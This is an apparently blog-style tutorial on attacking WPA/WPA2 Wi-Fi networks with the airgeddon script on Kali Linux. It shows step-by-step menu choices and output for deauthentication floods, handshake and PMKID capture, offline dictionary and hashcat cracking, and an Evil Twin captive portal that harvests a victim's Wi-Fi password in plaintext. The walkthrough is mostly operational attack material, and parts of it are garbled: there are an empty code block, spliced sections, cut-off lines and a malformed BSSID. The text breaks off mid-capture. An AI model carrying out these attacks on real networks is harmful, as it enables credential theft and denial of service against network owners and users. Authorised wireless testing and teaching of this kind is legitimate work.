PMKID Attack	26

Install Airgeddon & Usage

Airgeddon enables the capture of the WPA/WPA2 and PMKID handshakes in order to start a brute force assault on the Wi-Fi password key. It also aids in the creation of a fictitious AP for launching Evil Twin Attack by luring clients into the captive portal.

Let start by identifying the state for our wireless adaptor by executing the **ifconfig wlan0** command. Wlan0 states that our Wi-Fi connection mode is enabled in our machine.

```
(root@kali)~# ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.47 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::d659:d207:e12a:b7e5 prefixlen 64 scopeid 0x20<link>
    ether 9c:ef:d5:fb:d1:5c txqueuelen 1000 (Ethernet)
    RX packets 198 bytes 13233 (12.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 42 bytes 4584 (4.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Airgrddon Features:

- Full support for 2.4Ghz and 5Ghz bands
- Assisted WPA/WPA2 personal networks Handshake file and PMKID capturing
- Interface mode switcher (Monitor-Managed)
- Offline password decrypting on WPA/WPA2 captured files for personal networks (Handshakes and PMKIDs) using a dictionary, brute-force and rule-based attacks with aircrack, crunch, and hashcat tools. Enterprise networks captured password decrypting based on john the ripper, crunch, asleep and hashcat tools.
- Evil Twin attacks (Rogue AP)
- WPS features

Download and run the airgeddon script by running the following commands in Kali Linux.

Note: execute the script as root or superuser.

```
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
ls
./airgeddon.sh
```

```
(root@kali)~# git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

(root@kali)~# cd airgeddon

(root@kali)~/airgeddon# ls
airgeddon.sh  binaries  CHANGELOG.md  CODE_OF_CONDUCT.md  CONTRIBUTING.md  D

(root@kali)~/airgeddon# ./airgeddon.sh
```

It will first check for all dependencies and necessary tools before launching this framework. It will attempt to install the essential tools if they are missing, which may take some time. As indicated in the picture once the installation is complete, you will see the OK status for both required and optional tools.

```

```

Now choose the network interface; for a wireless connection, this will be wlan0; hence, choose **option 3** as seen in the image.

```

***** Interface selection *****
Select an interface to work with:

1. eth0 // Chipset: Intel Corporation 82545EM
2. docker0 // Chipset: Unknown
3. wlan0 // 2.4Ghz // Chipset: Ralink Technology, Corp. RT5370

*Hint* Every time you see a text with the prefix [PoT] acronym for "Pending of Tran
> 3

```

Next, we'll put the Wi-Fi card in monitor mode; the card is in managed mode by default, which means it can't capture packets from various networks; however, Wi-Fi in monitor mode can capture packets passing across the air.

Select **option 2** for Monitor mode.

Note: Monitor mode is the mode for monitoring traffic, usually on a particular channel. A lot of wireless hardware is capable of entering monitor mode, but the ability to set the wireless hardware into monitor

mode depends on support within the wireless driver. As such, you can force many cards into monitor mode in Linux, but in Windows, you will probably need to write your wireless network card driver.

```
***** airgeddon main menu *****
Interface wlan0 selected. Mode: Managed. Supported bands: 2.4Ghz

Select an option from menu:
0. Exit script
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. DoS attacks menu
5. Handshake/PMKID tools menu
6. Offline WPA/WPA2 decrypt menu
7. Evil Twin attacks menu
8. WPS attacks menu
9. WEP attacks menu
10. Enterprise attacks menu
11. About & Credits
12. Options and language menu

*Hint* Since airgeddon 9.20 version, tmux is supported and it can be used instead
s. Like any other option, it can be configured on the options menu, on the ./airg
/github.com/v1s1t0r1sh3r3/airgeddon/wiki/Options

> 2
Setting your interface in monitor mode ...

The interface changed its name while setting in monitor mode. Autoselected

Monitor mode now is set on wlan0mon
Press [Enter] key to continue...
```

Capturing Handshake & Deauthentication

The wlan0mon is in monitor mode, we try to can capture the handshake packets of the wireless network for WPA and WPA2 protocol.

Choose **option 5** to obtain the tool for capturing Handshake/PMKID

```

***** airgeddon main menu *****
Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz

Select an option from menu:

0. Exit script
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. DoS attacks menu
5. Handshake/PMKID tools menu
6. Offline WPA/WPA2 decrypt menu
7. Evil Twin attacks menu
8. WPS attacks menu

```

It will display a list of all ESSIDs (Wi-Fi names) examined, as well as their BSSID (MAC Address) and ENC encryption protocol type. Then, as we did for ESSID “Raaj,” you can pick your target by supplying a Serial Number.

NOTE: The asterisks (*) indicate client access points; they are maybe the best “clients” for acquiring handshakes. Any Access Point that implements the WEP ENC protocol will be ignored by Airedgdon.

```

(*) Network with clients

Select target network:
> 35

```

Launch De-authentication Attack

This attack sends disassociate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for several reasons:

- Recovering a hidden ESSID. This is an ESSID that is not being broadcast. Another term for this is “cloaked”.
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)

Now it will prompt you to select an attack-type; choose **option 2** for Death replay attack, which will utilize deauth attack to disconnect all clients before capturing the AP-client handshake. Then, for a timeout, select a period in seconds.

```
Interface wlan0mon selected. Mode: Monitor. Supported bands: 2.4Ghz
Selected BSSID: 18:45:93:69:A5:19
Selected channel: 3
Selected ESSID: raaj
Type of encryption: WPA2

Select an option from menu:
0. Return to Handshake tools menu
1. Deauth / disassoc amok mdk4 attack
2. Deauth aireplay attack
3. WIDS / WIPS / WDS Confusion attack

*Hint* If the Handshake doesn't appear after an attack, try again or change the type

> 2

Type value in seconds (10-100) for timeout or press [Enter] to accept the proposal
> 10

Timeout set to 10 seconds

Two windows will be opened. One with the Handshake capturer and other with the attack

Don't close any window manually, script will do when needed. In about 10 seconds make
Press [Enter] key to continue...
```

You'll see that two windows appear. After de-authentication, one will attempt to undertake a deauth attack, while the other will attempt to record the 4 Way handshake between the client and the access point.

```
airplay deauth attack
13:25:35 Waiting for beacon frame (BSSID: 18:45:93:69:A5:19) on channel 3
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
13:25:35 Sending DeAuth (code 7) to broadcast -- BSSID: [18:45:93:69:A5:19]
13:25:36 Sending DeAuth (code 7) to broadcast -- BSSID: [18:45:93:69:A5:19]
13:25:37 Sending DeAuth (code 7) to broadcast -- BSSID: [18:45:93:69:A5:19]

Choose **option 1** to select Personal.

Select an option from menu:

- 0. Return to main menu
- 1. Personal
- 2. Enterprise

Hint Decrypting by brute force, it could pass the

> 1

Now we will use a dictionary to decrypt the handshake captured file. Select **option 1** as shown in the image. By default, it will take the last captured file to be brute force, **ENTER Y** to select the path, and BSSID the last captured file. Then provide the path of your dictionary or rockyou.txt and press **ENTER** key to start a dictionary attack against the WPA handshake.

```
Select an option from menu:
0. Return to offline WPA/WPA2 decrypt menu
   (aircrack CPU, non GPU attacks)
1. (aircrack) Dictionary attack against Handshake/PMKID capture file
2. (aircrack + crunch) Brute force attack against Handshake/PMKID capture file
   (hashcat CPU, non GPU attacks)
3. (hashcat) Dictionary attack against Handshake capture file
4. (hashcat) Brute force attack against Handshake capture file
5. (hashcat) Rule based attack against Handshake capture file
6. (hashcat) Dictionary attack against PMKID capture file
7. (hashcat) Brute force attack against PMKID capture file
8. (hashcat) Rule based attack against PMKID capture file

*Hint* The key decrypt process is performed offline on a previously captured file

Hashcat Rule-Based Attack for WPA Handshake

Because we are all familiar with the capability of hashcat, aircgeddon provides the opportunity to utilize hashcat to crack the Wi-Fi key. Choose **option 5** and enter the path to your WPA handshake file, dictionary, or rule-based file.

Here we provide the path to the best64. rule file, which will be used to perform a hashcat rule based attack.

```

Select an option from menu:
0. Return to offline WPA/WPA2 decrypt menu
   (aircrack CPU, non GPU attacks)
1. (aircrack) Dictionary attack against Handshake/PMKID capture file
2. (aircrack + crunch) Bruteforce attack against Handshake/PMKID capture file
   (hashcat CPU, non GPU attacks)
3. (hashcat) Dictionary attack against Handshake capture file
4. (hashcat) Bruteforce attack against Handshake capture file
5. (hashcat) Rule based attack against Handshake capture file
6. (hashcat) Dictionary attack against PMKID capture file
7. (hashcat) Bruteforce attack against PMKID capture file
8. (hashcat) Rule based attack against PMKID capture file

*Hint* The key decrypt process is performed offline on a previously captured file

> 5

Evil Twin Attack

An evil twin is a forgery of a Wi-Fi access point (Bogus AP) that masquerades as genuine but is purposefully set up to listen in on wireless traffic. By creating a fake website and enticing people to it, this type of attack can be used to obtain credentials from legitimate clients.

From the main menu, select **option 7** for Evil Twin attack.

```
Select an option from menu:

0. Exit script
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode

4. DoS attacks menu
5. Handshake/PMKID tools menu
6. Offline WPA/WPA2 decrypt menu
7. Evil Twin attacks menu
8. WPS attacks menu
9. WEP attacks menu
10. Enterprise attacks menu

11. About & Credits
12. Options and language menu

*Hint* If you install ccze you'll see some parts of airgeddon

> 7
```

Then select option 9, which will scan for nearby Access Points.

```

Select an option from menu:
0. Return to main menu
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. Explore for targets (monitor mode needed)
   (without sniffing, just AP)
5. Evil Twin attack just AP
   (with sniffing)
6. Evil Twin AP attack with sniffing
7. Evil Twin AP attack with sniffing and bettercap-sslstrip2
8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF
   (without sniffing, captive portal)
9. Evil Twin AP attack with captive portal (monitor mode needed)

*Hint* In order to use the Evil Twin just AP and sniffing attacks, you must have

```

All clients connecting to the original AP “raaj” will be disconnected, and when they attempt to reconnect, they will discover two APs with the same name. When the client connects to the bogus AP, it is lured to the captive portal.

The captive web portal will ask to submit the Wi-Fi password key to get internet access.

11:40       

Sign in to raaj
connectivitycheck.gstatic.com

Wireless network, ESSID:
raaj

Enter your wireless network password to get internet access

Show password ☐

If the client gives the Wi-Fi key, the password will be captured in plaintext in the control window.

```
Evil Twin AP Info // BSSID: 18:00:00:00:00:00 // Channel: 3 // ESSID: raaj
Online time
00:01:50
Password captured successfully:
raj12345
The password was saved on file: [/root/rajpwd.txt]
Press [Enter] on the main script window to continue, this window will be closed
```

Additionally, save the password in the file you gave during the proposal.

```
(root@kali)~# cat rajpwd.txt

2021-06-05
airgeddon. Captive portal Evil Twin attack captured password
BSSID: 18:30:00:00:00:05:19
Channel: 3
ESSID: raaj

Password: raj12345
```

PMKID Attack

PMKID is the unique key identifier used by the AP to keep track of the PMK being used for the client. PMKID is a derivative of AP MAC, Client MAC, PMK, and PMK Name. Read more from [here](#)

Let us capture PMKID by running the airgeddon script, select **option 5** as shown below.

```
Select an option from menu:

0. Exit script
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. DoS attacks menu
5. Handshake/PMKID tools menu
6. Offline WPA/WPA2 decrypt menu
7. Evil Twin attacks menu
8. WPS attacks menu
9. WEP attacks menu
10. Enterprise attacks menu
11. About & Credits
12. Options and language menu

*Hint* Thanks to the plugins system, customized content
stem

> 5
```

Then again **press 5** and wait for the script to capture SSIDs around.

```
Select an option from menu:
0. Return to main menu
1. Select another network interface
2. Put interface in monitor mode
3. Put interface in managed mode
4. Explore for targets (monitor mode needed)
   (monitor mode needed for capturing)
5. Capture PMKID
6. Capture Handshake
7. Clean/optimize Handshake file

*Hint* It is possible to obtain PMKIDs from clientless WPA/WPA2-PSK networks

> 5

There is no valid target network selected. You'll be redirected to select one
Press [Enter] key to continue...

***** Exploring for targets *****
Exploring for targets option chosen (monitor mode needed)

Selected interface wlan0mon is in monitor mode. Exploration can be performed

WPA/WPA2 filter enabled in scan. When started, press [Ctrl+C] to stop...
Press [Enter] key to continue...
```

Now you'll see a list of targets. Our goal for number 6 is "Amit 2.4 G." Then simply ENTER the timeout in seconds that you want the script to wait for before capturing the PMKID. Let's suppose 25 seconds is ample time.

```
N.      BSSID      CHANNEL  PWR  ENC  ESSID
1)
2)
3)
4)
5)
6) 68:14:01:5A:0E:9C 1 36% WPA2 Amit 2.4G
7)* 48:F8:DB:5C:B2:BC 3 0% WPA2 (Hidden Network)
8)
9)
10)
11)
12)
13)*
14)
15)
16)

(*) Network with clients

Select target network:
> 6
You have a valid WPA/WPA2 target network selected. Script can continue...
Press [Enter] key to continue...

Type value in seconds (10-100) for timeout or press [Enter] to accept the proposal [25]:
> 25

Timeout set to 25 seconds

Don't close the window manually, script will do when needed. In about 25 seconds maximum
Press [Enter] key to continue...
```

Sure enough, we can see a PMKID being captured here!

```
initialization...
